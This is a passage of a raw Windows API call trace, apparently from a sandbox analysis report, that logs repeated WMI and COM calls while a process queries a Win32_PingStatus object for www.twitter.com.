wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259a5b8*=0, plFlavor=0x259a5bc*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x259a5b8*=3, plFlavor=0x259a5bc*=64) returned 0x0 [0159.148] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259a5ec*=0, plFlavor=0x259a5f0*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x259a5ec*=8, plFlavor=0x259a5f0*=64) returned 0x0 [0159.148] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.148] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.148] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259a644*=0, plFlavor=0x259a648*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259a644*=8, plFlavor=0x259a648*=64) returned 0x0 [0159.148] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259a66c*=0, plFlavor=0x259a670*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x259a66c*=8, plFlavor=0x259a670*=64) returned 0x0 [0159.148] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.148] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.148] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259a6c4*=0, plFlavor=0x259a6c8*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x259a6c4*=8, plFlavor=0x259a6c8*=64) returned 0x0 [0159.148] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.148] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.149] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259a8a0*=0, plFlavor=0x259a8a4*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x259a8a0*=3, plFlavor=0x259a8a4*=64) returned 0x0 [0159.149] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259a8d4*=0, plFlavor=0x259a8d8*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8ae80*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85220, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x259a8d4*=8200, plFlavor=0x259a8d8*=64) returned 0x0 [0159.149] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259a908*=0, plFlavor=0x259a90c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x259a908*=8, plFlavor=0x259a90c*=64) returned 0x0 [0159.149] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.149] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.149] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259a954*=0, plFlavor=0x259a958*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x259a954*=8, plFlavor=0x259a958*=64) returned 0x0 [0159.149] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.149] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.149] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259a9a0*=0, plFlavor=0x259a9a4*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x259a9a0*=8, plFlavor=0x259a9a4*=64) returned 0x0 [0159.149] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.149] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.150] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0159.150] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0159.150] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.150] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="WriteDebugStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259abd8*=0, plFlavor=0x259abdc*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259abd8*=0, plFlavor=0x259abdc*=0) returned 0x80041002 [0159.150] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0159.151] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5f85220) returned 0x0 [0159.152] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85220, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0159.152] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f85220, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5f85260) returned 0x0 [0159.152] WbemStatusCodeText:IUnknown:Release (This=0x5f85220) returned 0x0 [0159.152] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85260, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5f85260) returned 0x0 [0159.152] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85260, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0159.152] WbemStatusCodeText:IUnknown:AddRef (This=0x5f85260) returned 0x3 [0159.152] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85260, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0159.152] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85260, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0159.152] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85260, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0159.152] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0159.152] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0159.152] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85260, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0159.152] WbemStatusCodeText:IUnknown:Release (This=0x5f85260) returned 0x2 [0159.153] WbemStatusCodeText:IUnknown:Release (This=0x5f85260) returned 0x1 [0159.153] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0159.153] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0159.153] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85260, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5f85260) returned 0x0 [0159.153] WbemStatusCodeText:IUnknown:AddRef (This=0x5f85260) returned 0x3 [0159.153] WbemStatusCodeText:IUnknown:Release (This=0x5f85260) returned 0x2 [0159.153] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f85260, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0159.153] SysStringByteLen (bstr="Not found ") returned 0x14 [0159.154] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0159.154] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0159.154] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.154] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0159.154] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0159.154] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.154] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0159.154] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0159.154] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0159.154] SafeArrayGetLBound (in: psa=0x5f8af10, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0159.155] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.155] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.155] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.155] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.155] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.155] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.155] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.155] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.155] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.155] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.155] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.155] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.155] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.155] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.155] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.155] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.155] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.155] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.155] SysStringByteLen (bstr="__PATH") returned 0xc [0159.155] SysStringByteLen (bstr="__PATH") returned 0xc [0159.156] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259afb8*=0, plFlavor=0x259afbc*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x259afb8*=3, plFlavor=0x259afbc*=64) returned 0x0 [0159.156] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259afec*=0, plFlavor=0x259aff0*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x259afec*=8, plFlavor=0x259aff0*=64) returned 0x0 [0159.156] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.156] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.156] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259b044*=0, plFlavor=0x259b048*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259b044*=8, plFlavor=0x259b048*=64) returned 0x0 [0159.156] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259b06c*=0, plFlavor=0x259b070*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x259b06c*=8, plFlavor=0x259b070*=64) returned 0x0 [0159.156] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.156] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.157] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259b0c4*=0, plFlavor=0x259b0c8*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x259b0c4*=8, plFlavor=0x259b0c8*=64) returned 0x0 [0159.157] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.157] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.157] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259b2a0*=0, plFlavor=0x259b2a4*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x259b2a0*=3, plFlavor=0x259b2a4*=64) returned 0x0 [0159.157] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259b2d4*=0, plFlavor=0x259b2d8*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8aeb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85220, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x259b2d4*=8200, plFlavor=0x259b2d8*=64) returned 0x0 [0159.157] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259b308*=0, plFlavor=0x259b30c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x259b308*=8, plFlavor=0x259b30c*=64) returned 0x0 [0159.157] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.157] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.158] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259b354*=0, plFlavor=0x259b358*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x259b354*=8, plFlavor=0x259b358*=64) returned 0x0 [0159.158] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.158] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.158] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259b3a0*=0, plFlavor=0x259b3a4*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x259b3a0*=8, plFlavor=0x259b3a4*=64) returned 0x0 [0159.158] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.158] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.158] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0159.158] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0159.158] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.158] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="WriteInformationStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259b5d8*=0, plFlavor=0x259b5dc*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259b5d8*=0, plFlavor=0x259b5dc*=0) returned 0x80041002 [0159.158] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0159.160] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5f85220) returned 0x0 [0159.160] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85220, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0159.160] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f85220, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5f85270) returned 0x0 [0159.160] WbemStatusCodeText:IUnknown:Release (This=0x5f85220) returned 0x0 [0159.160] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85270, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5f85270) returned 0x0 [0159.160] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85270, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0159.160] WbemStatusCodeText:IUnknown:AddRef (This=0x5f85270) returned 0x3 [0159.160] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85270, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0159.161] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85270, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0159.161] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85270, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, 